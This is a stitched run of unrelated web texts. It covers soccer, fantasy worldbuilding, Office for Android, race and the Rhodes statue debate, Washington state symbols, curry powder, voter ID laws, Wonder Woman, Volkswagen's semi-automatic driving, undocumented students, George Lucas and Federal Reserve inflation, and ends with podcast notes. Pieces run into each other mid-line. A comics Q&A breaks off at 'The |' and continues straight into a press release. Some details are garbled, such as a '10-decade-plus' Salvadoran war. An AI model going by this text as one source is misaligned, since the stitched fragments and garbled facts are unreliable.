It remains to be seen if the big names are what the club needs. Maybe the solution for Red Bull is to stride away from their mini Galactico policy and follow the lead of Real Salt Lake in 2009, Colorado in 2010 and Sporting Kansas in 2013, who blended youth, talent and grit to claim their triumphs. LA Galaxy did much the same in 2014.
For the time being, the Curse of Tulio lives on and shows no signs of abating. Whether the Red Bulls can finally secure an MLS Cup triumph before their rabid neighbours remains a mystery. It’s something that may greatly affect their ability to retain supporters and prove that they are the true kings of New York in the long term.
The club is fast approaching a crossroads in its existence. Red Bull as a sporting organization are winners; they believe in success and being the very best. The franchise, at the moment, is far from that. Is there a chance that the drinks giant may pull the plug? It’s probably too early to tell but there will doubtless be serious discussions if NYCFC outperform the club over the coming 18 months.
Either way, the story of Red Bull is both intriguing and frustrating in equal measure. It’s a case of history repeating itself over and over again; the same mistakes through the same philosophy. For all the progress off the field, the time has surely come for a change of direction on it. Rebuilding starts with the bottom up, and the long-standing, high-profile recruitment policy has let the club down on countless occasions.
For the sake of the fans, the time has come for the club to stand up and take charge of their sub-standard record.
About the author – Omar Saleen
Based in London, Omar is the editor-in-chief at These Football Times. A professional coach by day having worked at clubs including Fulham, QPR and Red Bull New York, he also writes freelance for a number of outlets.
twitter: @omar_saleem
PLAY SOCCER MANAGER 2016 NOWListening to the news in the real world – that horrid place where dragons are small and kept in vivaria and pixie is just a kind of haircut – it is very apparent that life is a very complicated place. Anything from the politics between two warring countries, down to a neighbourly dispute on a single street, the world we live in is complicated, intertwined and gorgeously abundant with issue.
So, when you sit down ready to begin that next big fantasy epic – like I decided to do about a year ago – how do you make sure that your disputes between elves and goblins are as interesting and in depth as reality itself. In another sense, how do you make your world feel real, when it is populated with the exact opposite?
Now, sitting in front of lists of “how do’s” in writing, can leave me feeling a bit empty. Most of the time these lists make writing advice seem like hard fast rules: if you do not eat cheese four times a week and pray to the Grecian Muses you will never be able to write an effective chapter two. This I find bizarre. The only rule in writing is to write, the rest is convention. A convention works, for certain, but the difference between a convention and a rule is that if you don’t abide by the convention the book may still work, but you’ll be working to your own understandings and not ones that have been tried and tested. But before you even put pen to paper for the actual hard-labour of making the story, there are the rules – apologies, I mean conventions – of worldbuilding. But, how do you do this?
There are two very easy answers to this question. Either, plan and sculpt your world with the detail of a god itself. Or, don’t. And though the latter seems infinitely lazier, it can be a fine methodology if you bare some things in mind. George R. R. Martin described writers in two kinds: architects and gardeners. This is a far more elegant way of describing the “yes” and “no” dichotomy of worldbuilding.
An architect will sit for hours, days, weeks, planning every intricate detail of a world. They will know the chemical composition of the silt on river beds; they will know whether goblin eyes can be blue, or whether that was bred out in their early history. This can be a very satisfying process, certainly, especially if you have friends who are willing to listen to you for hours as you try and piece together what you’ve come up with the night before. Sitting in the dark, or your favourite coffee shop (or both) discussing silty rivers and rainbow-eyed gnomes can be a lot of fun. The reason for this? You can feel the world, under your feet. But other than the emotional payback for this kind of intense worldbuilding, it is very constructive for the story telling itself.
When a character leaves the village of Underwood to travel to the town of Urquhart (guess what I’ve been watching recently), if you’ve been a good architect there will be no fears of how this journey transpires, the ghouls down the road and where these places are respective to one another; you will not, as the author, suddenly panic when the story reveals a forest you had not realised was there, or that a journey like this should have been done by cart and not on foot. Architects can ease into the story far more naturally, but it leaves less room for spontaneity, and requires months of long effort. Architects cannot skimp on the details.
If the idea of sitting for hours noting down every tree of a forest seems tedious, you can of course be a gardener. As the Slayer of Starks described, a gardener has a seed of an idea, and as they write and develop the story they see it grow. Note, this isn’t a straight “no” to the answer of “do I worldbuild”. This is choosing what kind of flower you wish to grow, but knowing the colour of its petals is kept a secret until you begin writing. The grand Martin used the concept of architects and gardeners more for planning the story, but it is entirely applicable to your mental map-making.
A gardener will have to pay close attention to the rules of the world. How does gravity work, being a simple way of summing this up. What rules does your world follow that you need to be aware of, what places, what races, some basics. But you have to let the characters and the internal politics teach you as author what the world is like; you have to know your characters inside and out, but character building is a very different skill. Without rambling off topic, you need to be able to feel a character, either through the same intense planning – big table top RPG styled character sheets – or just being able to method act them through your typing.
The downside to gardening is the opportunity for continuity errors increases massively, and your reliance on keeping up with your characters becomes extraordinary. In a perfect world, you need to know everything inside and out, but sometimes characters can run away with themselves (not doing as they are told, doing the unexpected). Gardening is more relaxing, but you need to trust yourself so much more.
I come to this conclusion. I can sit and plan for years until writing the story is merely acting as historian with flamboyancy, or I can discover that my rose seeds were actually a rampaging hoard of living ents. Naturally, it is whatever suits your writing methods, and the time you possess, but I find a little of both goes a long way. Plan for years, because it is a satisfying feeling, turning the idea in your mind to a living series of streets and alleyways, every lamp a-flicker with the potential of a story. At the same time, leave room to grow, because when you start writing it will evolve naturally – hopefully anyway – as you’re inspired from reality and muse alike.
I have over 10,000 words of world, and that isn’t even complete, and then I have a huge cast leading me to these places. Rather than architect or gardener, I am tourist. I’ve read the leaflets, I’ve learnt the language, now it’s time to find a guide.
Title image by Donato Giancola.A few months after the launch of Office for Android tablets, Microsoft has announced a preview of "Office for Android phone"—a shrunken down version of the tablet app. The preview will eventually replace the existing Office Mobile.
For the most part, it looks like the Android tablet version. There's finger-friendly versions of Word, Excel, and PowerPoint that let you create, open, and edit office documents. Best of all, the suite is free!
Saving is all done in the cloud, and the announcement notes that "OneDrive, OneDrive for Business, SharePoint, Dropbox, Google Drive, and Box" are all available.
Since the release is just a preview, Microsoft is using the built-in Android beta system. Signing up for the preview means heading over to Microsoft's Google+ community (what strange times we live in) and opting into the preview app.I completed my undergraduate studies at Rhodes University five years ago, before I transferred to University of Cape Town (UCT) to pursue my Honours degree in Information Systems. I must admit, I owe these two institutions prodigious gratitude. Without the support I received from the academic staff, my fellow school mates, the administration, I probably wouldn’t have received the first-class qualifications I have today.
But the recent developments surrounding the alleged racism at Rhodes University, and the demands by a group of students at the University of Cape Town for the removal of the statue of Cecil Rhodes in campus leave me disappointed.
I, like most undergraduate students, arrived at Rhodes University aged 18. I was a shy young boy, bred in a township and had no experience of living in a diverse environment as that of Rhodes at the time. For me Rhodes was a much bigger transition; that required me to, along with other first-year students, learn to speedily adapt in an environment full of life, academic activities and so much more.
I wouldn’t accuse the university’s administration of racism. I never felt discriminated against by the institution. The Rhodes’s mission is to be the leading research and academic institution; that they did well at the time I was there. We all received what we had come for in Grahamstown – decent education – and in my eyes we were all given equal opportunity to succeed in classroom.
But I’d be oblivious not to point out that there were times I felt discriminated against by my fellow white mates. I did, at least once, felt a victim of racism. There were individuals who were racist – “individual racism”. Due to my introverted character, I didn’t have guts to stand up and publicly denounce these people’s mean acts. And in retrospect, I didn’t have to.
Going around the campus denouncing “individual racism” would have been a futile exercise. Certainly an unnecessary one – that would infringe people’s freedom. You see, there are racist people all over the world. And unfortunately there isn’t much we can do to change them – we can’t change them by force. My colleague, Martin van Staden, once said that racism is an “interpersonal issue”, I couldn’t agree more.
We all have a right to freedom of association; we all, have a right to free speech – be it on religion, sexual orientation or race. Blacks have a right to disassociate themselves from Whites, while Whites equally have a right to shy away from Blacks. I as an individual have a right to discriminate in whatever way I want. In fact, discrimination is part of our daily lives.
For example, to be with the girlfriend you are with, you had to discriminate against other women; when you chose the university you went to, you discriminated against other institutions of higher learning; when you chose to buy a Volkswagen as your first car, you discriminated against Toyota, Opel, Renault and other brands; I could go on endlessly. This is what liberty is.
But it’s also very important to mention that all races have a right to associate themselves with each other – which I recommend.
A former Rhodes University student who recently wrote “it’s quite amusing how white kids at Rhodes never want to talk about “race” related issues [sic] because we have “bigger” issues to worry about... Rhodes reeks of white privilege and it’s disgusting and appalling. black people can & do exist without white(ness).” on Rhodes University Student Representative Council’s Facebook page crossed the line in my opinion.
She further said “I just got tired of white – and a few black – people constantly telling us to forget the past, to move on and to get over it and that’s what prompted me to put up the post,”.
This woman needs to understand something, not all of us are eager to talk about race; not all of us, are eager to talk about the past. And we have a right not to. If she enjoys talking about race then she can start a group with those interested in the subject, nothing is wrong with that – it’s a free society. They can engage one another as long as they don’t abuse freedoms of those who are not interested.
Going around hounding Whites and “a few black”, as she puts it, strikes me as sheer ignorance and disrespect. She can create her Facebook page and post about the issues of race, those interested will “voluntarily participate” in the discussion. None of us (Black or White) are obligated to talk about race, so she shouldn’t presume so. I have no idea where this woman gets these myopic, paternalistic views she possesses.
What Rhodes University needs to do, as an institution, is to ensure that it applies its rules and regulations effectively. It must provide decent education to all students, of every race or nationality, who come to learn – whether students discriminate against one another during the course of their studies is their business as individuals – but in the process they should not deny each other the opportunity to learn, be it in the classroom or on the sports field.
If there are any who deny others the opportunity to learn, then the university must punish them proportionally.
Let me say again that I sometimes felt discriminated against too. Even today at the place of work and in public, I still meet people whom I believe are racist. I’m sure Whites have met Blacks who are racist too. These are horrible people, but unfortunately there isn’t much anybody can do against them, because they have a right to freedom of association, and so do we. Government has no duty to legislate morality, the moment it takes that route, liberty is violated.
People who discriminated against me were fellow school mates, it wasn’t Rhodes University’s staff who were the people I needed the most at the time. So maybe it’s good that I kept quiet instead of starting an anti-racism movement whose mission is to disrupt learning in campus, or go around hounding Whites telling them how to exercise their freedom of association.
By these comments I do not mean we don’t have to do anything about racism; of course we can do something. We as individuals can start groups with those interested and engage one another. But in whatever we do, we must always respect personal freedoms of those who are not interested in the matter.
SHOULD CECIL RHODES’S STATUE AT UCT BE REMOVED?
It’s a very important question. I think we shouldn’t forget that Cecil Rhodes was a bad man. We all know that. His record in Africa is disappointing. In many countries the statue would have been removed during the transition into democracy. I do not know why South Africans kept it. It was probably done in the name of reconciliation. So the question is: Was that the right thing to do?
For the purposes of symbolism, as the nation reconciled, in my opinion, it was the right thing to do. We didn’t only keep Cecil Rhodes’s statue at the University of Cape Town, we also kept the statues of leaders who oppressed and brutalized Blacks for decades.
The Union Buildings which was used by the apartheid governments to strategize and ratify laws rigged against Blacks is still being used by our current government. Many names of the roads, cities and buildings never changed.
Doing the opposite would be of no benefit. We’ve seen the destruction of statues in many countries during political transitions around the world; many of these countries are today worst off. Political stability is out of reach, personal freedoms have been repressed, and there’s no free press. Not that they won’t rebound, they will, but it will unnecessarily take a while.
So what about people like us who believe these roads, statues, buildings and cities names must remain in place to remind us what it took to get where we are today? Should the statue of Cecil Rhodes be removed because a group of students who happen to disapprove of its existence demand so?
Not everybody wants the statue to be removed, for various reasons. Even when you do the polling today, you find that many people, including me, suggest that the statue remain in campus.
To come to an optimal, fair solution, is not easy because UCT is a public institution. If it were private, then there would be no negotiations, the owner would decide on his own what to do with the statue. Those unhappy with the owner’s decision to keep the statue would leave the campus at their own choice. But the government ownership of the university makes the situation very difficult because we all in a way pay for the university’s survival through taxes. We all own it. So perhaps those calling for the removal of the statue have a right to do so.
Or maybe they don’t, they have to compromise, because remember, the University of Cape Town is not only about Rhodes’s statue, there are many other things you find there. There are trees, buildings, rocks, the Table Mountain, sports stadiums and so much more the students can enjoy. So those who dislike the statue don’t have to pass near it. They can just shy away from it and enjoy other surroundings of the university, while those interested can watch the statue with pleasure. I think that would be fair, because we all pay, so let’s all get some satisfaction out of the campus.
You will note in my arguments that I’m a champion of liberty. Thanks to the legendary American economist from University of Chicago, Milton Friedman, who shaped my thinking. The solution to the problems the two universities face is personal freedom. But it’s going to be difficult for people to embrace the ideas I propose if they have no understanding of liberty – and most South Africans are not familiar with the concept.
The woman who posted this hawkish statement against “whites” and “a few black” needs to understand none of us are obligated to talk about race, until she familiarizes herself with the understanding of liberty, this won’t be the case – she, along with millions of South Africans, will continue attacking other people’s freedom.
I believe the statue of Cecil Rhodes should not be removed at my alma mater, University of Cape Town. Those who disapprove of its existence may shy away from it, while those interested may watch with pleasure. Given the circumstances, it’s the fairest approach we have to think about.
This article was first published at policydebates.wordpress.comThe U.S. state of Washington has 21 official emblems, as designated by the Washington State Legislature. These symbols, which reflect the history and culture of the state, are often opportunities for politicians to "tie themselves to popular symbols", for teachers to highlight the legislative process to their students, and for lobbyists to "have their products given official designation".[1]
While some of the symbols are unique to Washington, others are used by multiple states. For example, the willow goldfinch (also known as the American goldfinch), Washington's state bird, is also an official symbol for Iowa and New Jersey.[2] Washington's state grass, bluebunch wheatgrass, is also a symbol for the state of Montana.[3] The square dance and apple are commonly used state dances and state foods, respectively. While most states have an official motto and nickname, Washington's motto ("Al-ki", meaning "by and by" in Chinook Jargon) and nickname ("The Evergreen State") have never been officially adopted by the Legislature.[4]
Washington's first official symbol was its flag, adopted in 1923. While some symbols, including the state flower and state seal, were selected before then, they were not adopted by the Legislature until later. Washington's second symbol was western hemlock, selected as the state tree in 1947. Fourteen symbols were added between 1950 and 2000. Five symbols have been adopted in the 21st century. The newest symbol of Washington is the Olympic marmot, declared the state endemic mammal in 2009.
Insignia [ edit ]
Type Symbol Description Adopted Image Flag Flag of Washington The Legislature adopted the state flag in 1923, more than thirty years after the state was admitted to the United States. By law (RCW 1.20.010), the flag "shall be of dark green silk or bunting and shall bear in its center a reproduction of the seal of the state of Washington embroidered, printed, painted or stamped thereon. The edges of the flag may, or may not, be fringed. If a fringe is used the same shall be of gold or yellow color of the same shade as the seal. The dimensions of the flag may vary."[5] 1923 Seal Seal of Washington Originally designed by Charles Talcott shortly before Washington was admitted to the United States in 1889, the seal contains the image of George Washington encircled with "The Seal of the State of Washington" and the date "1889". The simple design was accepted by the Legislature, but did not become the official seal until graphic designer Richard Nelms was commissioned to create a new insignia. Nelms used a portrait by painter Gilbert Stuart in his design, which was accepted by the Legislature in 1967.[6] 1967
Species [ edit ]
Geology [ edit ]
Culture [ edit ]
Unofficial symbols and unsuccessful proposals [ edit ]
While most states have an official motto and nickname, the Washington Legislature never officially adopted either. "Al-ki", meaning "by and by" in Chinook Jargon, is the state's unofficial motto, first appearing on the territorial seal designed by Lt. J.K. Duncan. Washington was unofficially nicknamed "The Evergreen State" by pioneer and historian C.T. Conover for its abundant evergreen forests.[4]
Several symbols have been proposed for addition to the list of official state symbols but were never adopted. Proposed symbols have included Richard Berry's "Louie Louie" as the state song[18] and Aplets and Cotlets (a confection made from apples and apricots by Liberty Orchards) as the state candy.[19] The designation of sasquatch as the state's official cryptid or monster has been proposed since the 1970s, going as far as a joke proclamation issued by Governor Daniel J. Evans in 1970.[20]
See also [ edit ]
References [ edit ]Simple Curry Powder
I thought it might be helpful if I provided some kind of basic curry powder recipe so my readers could go away and make a cheap and easy curry even if they don’t have all the ingredients to make one of my recipes. At the very least I think you should have these spices in your spice rack, once you do it takes a matter of seconds to create a large pot of this powder so you needn’t have to make up a separate spice mix for every curry you cook.
By the way, my inclusion of this “recipe” in both the Indian and British categories is because although it quite clearly makes use of Indian spices, it is actually something brought over here during the colonial era by us Brits.
There also probably isn’t much point putting up a price, because you can make as much or as little as you like and it still won’t cost the earth. I would, however, point out that in the above photo I used whole, crushed, coriander seeds, whereas it’s probably preferential to either grind them or purchase them pre-ground. It is also worth noting that spices are far cheaper if bought in bulk, and most supermarkets provide large bags of spice these days. To be honest there isn’t a lot more I can say about this simple curry powder, other than, it makes a damn good curry. Also, isn’t ground turmeric in possession of a damn fine colour?
Ingredients:
1/2 tsp ground turmeric
1/2 tsp paprika
1/2 tsp ground ginger
1/2 tsp ground coriander
3/4 tsp ground cumin
1/2 tsp chili flakes, although this can vary according to taste
generous amount of cracked black pepper
Method:
Mix it all together, surprisingly.
AdvertisementsWASHINGTON (Reuters) - New laws in 10 states requiring voters to show photo identification will make it more difficult for millions of Americans to cast ballots and likely will drive down turnout among minorities, the poor and elderly, a study said Wednesday.
The Brennan Center for Justice at New York University Law School said that one in 10 Americans lack the necessary government-issued photo IDs that now are required in Alabama, Georgia, Indiana, Kansas, Mississippi, Pennsylvania, South Carolina, Tennessee, Texas and Wisconsin.
Most of the new laws were passed by Republican-controlled legislatures, and the voting blocs that analysts say the laws are most likely to affect typically favor Democrats.
About one-quarter of African Americans, 16 percent of Hispanics and 18 percent of Americans over age 65 do not have the type of ID that the voting laws require, the Brennan Center report said.
"These new laws will make it more difficult for millions of Americans to vote," said Larry Norton of the Brennan Center's Democracy Program. "The idea that we're forcing certain people to go through these very difficult extra hoops is antithetical to some of the founding principals of this country."
The report said that more than 10 million eligible voters live more than 10 miles from the nearest full-time state ID-issuing office. About 500,000 of them do not have access to a vehicle, and most live in rural areas with limited public transportation, the report said.
A BACKLASH FROM 2008?
"What this report demonstrates is the potential impact on voters and possibly some potential impact on the upcoming election," said Keesha Gaskins, a co-author of the report. "We really are talking about a population of individuals that really could influence the outcome."
The states with restrictive voter ID requirements account for 127 electoral votes -- nearly half the 270 needed to win the presidency -- in the November 6 presidential election between Obama and Republican candidate Mitt Romney.
A separate study released this week by the National Urban League said that even a small drop in turnout by African Americans, whose overwhelming support for Obama helped him win election in 2008, could have a big impact in several key states in November.
The National Urban League, a civil rights group, has claimed that the new voter ID requirements pushed largely by Republicans were a response to the high voter turnout among Democrats in 2008.
Conservative groups and Republican-led legislatures that have backed the new rules say they will help ensure fair voting and reduce fraud.
They also dismiss claims that it is difficult for many people to travel to get a photo ID, saying it is similar to finding a way to get to the polls on Election Day.
A QUESTION OF ACCESS
But rights groups and the Brennan Center, which has joined in lawsuits in several states to oppose the laws, say the new rules unfairly target minorities and low-income voters.
The new report described how state-run ID offices are open at irregular hours, such as one in Wisconsin that is open only on the fifth Wednesday of every month even though there are only four months of the year that have five Wednesdays.
In Alabama, Georgia, Mississippi and Texas, the report said, many ID offices are open only part-time in areas with relatively large populations of blacks and Hispanics.
States with such laws are required to provide free photo IDs to eligible voters who do not have one, but the costs of obtaining birth certificates and other needed documentation, along with travel to the ID office, make it difficult for some voters, the report said.
Many of the new laws are being contested in court. A panel of federal judges last week finished hearing arguments about Texas' law by questioning the state's attorney over whether minorities are unfairly hurt by the requirements.
Rights groups and the Obama campaign also are challenging various laws that change rules for early, in-person voting in the days before Election Day. The Obama campaign filed a lawsuit in Ohio this week to block a Republican-backed law that stops in-person early voting three days before election day for most Ohioans.
At a Romney campaign event in Ohio, Republicans dismissed claims that the law will discourage Ohio voters from going to the polls.
"The other side of the aisle is talking about access to voting," Ohio state Representative Randy Gardner said in Bowling Green. "Voters will have 784 hours to vote. There's no partisan divide here... Every Ohioan who wants to vote will freely and clearly have that right."
(Additional reporting by Sam Youngman in Bowling Green, Ohio; Editing by David Lindsey and Cynthia Osterman)News dropped this morning that I’m taking on the writing duties on Wonder Woman for DC Comics as part of the Rebirth story-slash-initiative.
People have questions. I will now offer some answers. Keep reading… if you dare!
Q: Is it really, really true, and not some cruel joke by the fates (or Fates), and you’re honestly going to be writing Diana again?
Yes, it’s true, I’m writing Wonder Woman. The book is shipping twice a month, and for the first six months or so, we’re pursuing two independent – but related – storylines. The |
of the EU research project HAVEit (Highly Automated Vehicles for Intelligent Transport), Prof. Dr. Jürgen Leohold, Executive Director Volkswagen Group Research, is presenting the "Temporary Auto Pilot" by Volkswagen: Monitored by the driver, the car can drive semi-automatically up to a speed of 130 kilometres per hour on motorways. It represents a link between today's assistance systems and the vision of fully automatic driving.
"Above all, what we have achieved today is an important milestone on the path towards accident-free car driving," emphasises Leohold at today's final presentation of the EU research project HAVEit in the Swedish city of Borås. The Temporary Auto Pilot (TAP) bundles semi-automatic functions, i.e. functions monitored by the driver, with other driver assistance systems. It combines such automatic systems as ACC adaptive cruise control, the Lane Assist lane-keeping system and Side Assist lane-changing monitoring into one comprehensive function. "Nonetheless, the driver always retains driving responsibility and is always in control," continues Leohold. "The driver can override or deactivate the system at any time and must continually monitor it." TAP always offers the driver an optimal degree of automation as a function of the driving situation, acquisition of the surroundings and driver and system states. It is intended to prevent accidents due to driving errors by an inattentive, distracted driver. In the semi-automatic driving mode – referred to as Pilot Mode, for short – TAP maintains a safe distance to the vehicle ahead, drives at a speed selected by the driver, reduces this speed as necessary before a bend, and maintains the vehicle's central position with respect to lane markers. The system also observes overtaking rules and speed limits. Stop and start driving manoeuvres in traffic jams are also automated. With TAP, it is possible to drive at speeds of up to 130 kilometres per hour on motorways or similar roads. Drivers must still continually focus their attention on the road, so that they can intervene in safety-critical situations at any time.
In contrast to previous research vehicles such as "Junior" and "Stanley", TAP is based on a relatively production-like sensor platform, consisting of production-level radar-, camera-, and ultrasonic-based sensors supplemented by a laser scanner and an electronic horizon. "One conceivable scenario for its initial use might be in monotonous driving situations, e.g. in traffic jams or over sections of a driving route that are exceedingly speed-limited," comments
Leohold.The dissent correctly acknowledges that the alternative to educating undocumented students is hardly ideal. These kids do often struggle academically—49 percent drop out of high school—and may be poor and subject to less parental oversight, perhaps making them more susceptible than the average teenager to slipping into the kind of illicit activities likely to result in arrest and imprisonment. Existing immigration trends demonstrate that reversing Plyler v. Doe wouldn’t halt the arrival of undocumented children; it would just mean more adolescents standing around idly, with limited skills, little opportunity to improve their situations, and scarce employment opportunities—ripe conditions anywhere for increased gang activity and crime. Imprisonment is costlier than education, and mass deportation is prohibitively expensive and laborious. A story last month in The Atlantic cited a recent American Action Forum study reporting that deporting all 11.2 million undocumented immigrants in the U.S. (at least 1 million of them children) would take close to 20 years and cost the country at least $400 billion total, reducing economic growth by 5.7 percent in the process. With last summer’s predictions of a 70,000 surge in undocumented children crossing the border, the figures are bound to rise, and with them, the temperature of ongoing debates.
Conversations should focus on what these kids bring to American classrooms. While they are not in school to serve someone else’s needs, undocumented students often have first-hand or at least second-hand experiences with state-sanctioned persecution, civil wars, and life under leadership unaccountable to taxed constituents. These are inescapable themes in U.S. History and World Civilization classes. Consider a conversation about civil war in a social studies course in which undocumented students sit alongside middle- and high-income white kids. In one of my class discussions, a conversant spoke of her grandfather, who fought in the recent 10-decade-plus domestic conflict that ravaged El Salvador and included the massacre of tens of thousands of indigenous people. Or, hypothetically, imagine how a recently arrived child from Guerrero, Mexico, might offer a valuable perspective on government corruption. This level of insight is the promise on which integrated public schools can deliver.
Classrooms can be forums for the honest, uncomfortable, revealing conversations adults don’t make enough time for in their public lives. Every student has important insights to share. But undocumented immigrants tend to be more recent arrivals, and when they’re encouraged, may be less likely to toe the party line in classroom discussions that, with their presence and participation, often become more relevant and engaging.
Think about literature class—mine, for instance. Many of the books I have taught touch on themes accessible to a new arrival. Odysseus is homeward bound, not moving to a new country. Still, belabored by twists and turns, eager to reunite with loved ones, and willing to take risks and suffer indignities, he and his archetypal voyage may resonate with students who remember their own journeys and reunions. In The Stranger, the white, French-born Meursault is definitely more of an expat than an immigrant, but in Algiers he’s isolated, enveloped in a society that does not recognize him. Even more than most teenagers, undocumented students may identify with him—and similarly wrestle with the world’s perceived indifference and absurdity. When reading Isabel Allende’s The House of the Spirits, they readily grasp the internalized inferiority of the Tres Marías peasants in the face of the aristocratic, mannered French visitor Count Jean de Satigny.Although it was just last week that George Lucas promised during a Daily Show interview that Red Tails is just the first part of a proposed trilogy, Lucas has already gone back and tweaked his original comments, correcting the tone and inserting new dialogue that puts Spike Lee or Lee Daniels in charge of any potential follow-ups, and which suggests that Lucas is leaving behind big-budget filmmaking. Lucas unveiled the Special Edition of his future in this New York Times interview, in which he laments the difficulties of getting Red Tails financed, then concludes, “I’m retiring. I’m moving away from the business, from the company, from all this kind of stuff.” Aside from a possible fifth Indiana Jones movie, which is more or less handled by software these days, Lucas says he plans to follow his friend Francis Ford Coppola’s example and instead focus on making “more personal” films described as “small in scope, esoteric in subject and screened mostly in art houses”—and most importantly, away from jerks who don’t like what he did with Star Wars.
“Why would I make any more when everybody yells at you all the time and says what a terrible person you are?” Lucas grumbles of Star Wars fans, comparing their pleas to stop changing everything about the films they like to the dictatorial demands of the studios, as they both rob him of the important freedom to alter his past work to fit his every passing whim. And not that he has to explain his decisions to them, but still he graciously does—revealing, for example, that he changed it so Greedo shoots Han first because the original scene was “a violation of his own naïve style,” a commitment to moviemaking’s old-fashioned idealism and innocence that Lucas restored by grafting on an animated laser beam.
Advertisement
Lucas even dismisses Steven Spielberg’s recent claim that the “nuke the fridge” sequence in Indiana Jones And The Kingdom Of The Crystal Skull was Spielberg’s idea, saying, “He’s trying to protect me” (that being the sole instance when it appeared Spielberg actually was trying to protect him). In fact, Lucas said he had to go out of his way to convince Spielberg to put it in there by preparing a six-inches-thick “nuking-the-fridge dossier”—one that laid out the 50-50 statistical odds that a human could survive an atom bomb in a lead-lined fridge, and thus scientifically proved that it wasn’t a completely ridiculous, cartoonishly undignified way to start an Indiana Jones movie, because science. Anyway, fortunately Lucas won’t have to explain these sorts of things to you anymore.St. Louis Fed economist Kevin Kliesen opens the unmentionable Pandora's box of what happens if all the Fed's actions to date have been, gasp, flawed, and while containing the fallout of the financial crisis, the Fed may have well started on a new, and more dangerous path of a "destabilizing" liquidity driven inflationary explosion. Of course, to inflationists everywhere, this is a given. Deflationists may need some more convincing.
Foremost among the concerns of many is how to design a strategy that does not on the one hand raise interest rates prematurely, thereby prematurely nipping the economic recovery in the bud, while on the other hand does not keep rates too low for too long, thereby creating conditions that lead to a surge in inflation or inflation expectations. What’s needed is an effective policy to prevent the unprecedented monetary stimulus from becoming a destabilizing influence on price stability. Another key is accurately predicting inflation over the next few years.
More from Kliesen:
Some analysts believe that inflation will remain low as long as the unemployment rate stays well above its natural rate of unemployment (a measure of slack). Others, by contrast, believe that the risk of higher inflation has risen sharply because of the Fed’s large-scale asset purchase program and the advent of large, and possibly protracted, budget deficits.
In Figure 1, the path of the FOMC’s federal funds interest rate target is plotted along with the monetary base. The monetary base, which is sometimes called “high-powered money,” can be thought of as the raw material for creating money. Since both series are denominated differently, the chart indexes the series to be 1.0 in January 2007. The chart also includes vertical lines at August 2007, March 2008 and September 2008, when key events occurred in the financial crises. A considerable amount of disagreement seems to exist among economists about the inflation outlook over the next few years. Some economists are quite worried about the potential for much higher inflation, while others are more concerned about the potential risk of inflation falling to uncomfortably low levels—or even the possibility of deflation (a fall in the aggregate price level). Much of this disagreement reflects, on the one hand, the Federal Reserve’s aggressive response to the deep recession, the financial crisis and the exceptionally large federal budget deficits, and on the other hand, the downward pressure on wages and prices that typically occurs in the aftermath of a deep recession. Figure 2 depicts one way to gauge this disagreement. In Figure 2, the history of the Blue Chip forecasts of the average Consumer Price Index (CPI) inflation rate over the next five years is presented. The chart shows the average of the least optimistic inflation forecasts and the most optimistic inflation forecasts, as well as their difference (disagreement). During periods when inflation tends to be relatively high and variable, such as the late-1980s and early 1990s, there tend to be some sizable differences among forecasters about the medium-term inflation outlook. By contrast, during periods when inflation tends to be relatively low and stable, such as the mid-1990s to mid-2000s, forecasters tend to disagree less about the inflation outlook. Since early 2007, though, the level of inflation disagreement among forecasters has increased.
Indeed, and not only increased but is now at 20 year highs.
Yet possibly the most relevant topic in the paper is the discussion of the output gap. Zero Hedge previously presented thoughts from the St. Louis Fed, in "Why the" output gap" inflation model may be fatally flawed" which speculated that due to the bubble nature of the economy the excess slack as perceived by Bernanke may be completely irrelvant. It is notable that the it is the same regional Fed that created the underlying paper in that post. Could the St. Louis Fed be the biggest opponent to Bernanke's favorite metric of determining inflationary capacity in the economy? These two papers sure highlight that.
It is highly likely that this recession will induce considerable structural change in the economy. Indeed, this development already appears to be in train since many economic resources—labor and capital—that were employed in the automotive, housing and financial industries will need to migrate to industries that offer higher rates of return. One way to gauge the evolving structural change is by viewing the percentage of the labor force that is often characterized as the long-term unemployed (persons unemployed for 27 weeks or longer). As of November 2009, this percentage had risen to 3.8 percent, its highest rate in the post-World War II period.
Those who believe that the Phillips Curve framework can adequately capture the evolution of the inflation outlook over the near term must adequately account for structural changes that might have occurred in the boom and bust in asset prices. In its 2009 Annual Report, the Bank for International Settlements discussed these “bubbleinduced distortions” to current estimates of trend output growth and, hence, potential real GDP. Thus, it is conceivable that estimates of potential real GDP at the start of the recession were too large and that the structural adjustments noted above may have subsequently reduced potential real GDP from its artificially high level.
While it is probably unlikely that the fall in actual real GDP during the recession has been matched by the fall in potential real GDP, the size of the output gap might be smaller than conventional wisdom might believe. If so, those who foresee little risk to the near-term inflation outlook because of a large, persistent output gap may be too optimistic.
To borrow a Bushism, make no mistake: the last sentence is squarely directed at the Chairman, and reading between the lines indicates that the St. Louis Fed has become significantly more of an inflation hawk than previously expected.
The cautionary observations from Kliesen:
Policy is extraordinarily accommodative (see Figure 1), and the FOMC has said that “economic conditions
are likely to warrant exceptionally low levels of the federal funds rate for an extended period.” Although low interest rates are a key part of the FOMC’s strategy to boost economic growth and cement the health of the economic recovery, there might still be a danger of inflating asset prices by encouraging investors and speculators to shift out of low-yield assets like Treasury securities into higher-yielding assets like commodity contracts or other tangible financial assets.
But we thought the Fed's monetary policy has no impact on asset price bubbles. Didn't the Chairman himself say so a few days go. The St. Louis Fed squarely disagrees with this assesment:
Fed Chairman Ben Bernanke and other senior Fed officials are quite confident that they have the tools and the determination necessary to prevent an unwelcome acceleration in inflation or inflation expectations. Unlike previous episodes, though, the magnitude of the policy responses to the financial crisis and the Great Recession suggests that the FOMC’s margin of error seems much smaller than at any time in the Fed’s history.
And if history is any indication, it is a virtual certainty that Bernanke will commit an error once again in his monetary policy calculations. The only question is what the magnitude of the error will be, and how dire the bubble-popping implications become once the asset-price inflation episode comes to an abrupt end.
Full St. Louis Fed paper:New album, Somersault, is out now via Bayonet Records.
After nearly ten years exploring their own brand of dream pop, it is safe to say that New York’s Beach Fossils have become stalwarts of the scene. On June 2nd the group released their 3rd, and most adventurous album, Somersault. We recently spoke to Dustin Payseur, who originally started Beach Fossils as a one man project, about giving up some creative control, doing exactly what he wants, and constant evolution.
Download: MP3 • iTunes • Stitcher
Show notes
Why so controlling of creative process?
Less control / more collaboration for Somersault.
Bayonet Records
Collaboration vs writer’s block
Daoism
Daodejing
“I like to say fuck you to everyone. Even people who like me. Defy expectations.”
“We just Googled the cello ranges”
Note books of obvservations and ideas
Important to maintain intimacy in music
Music by Ealadha.
Sponsored by Indietracks and Vinylify (10% discount with code ‘GB6QG9’).
Follow Overblown on Facebook and Twitter.
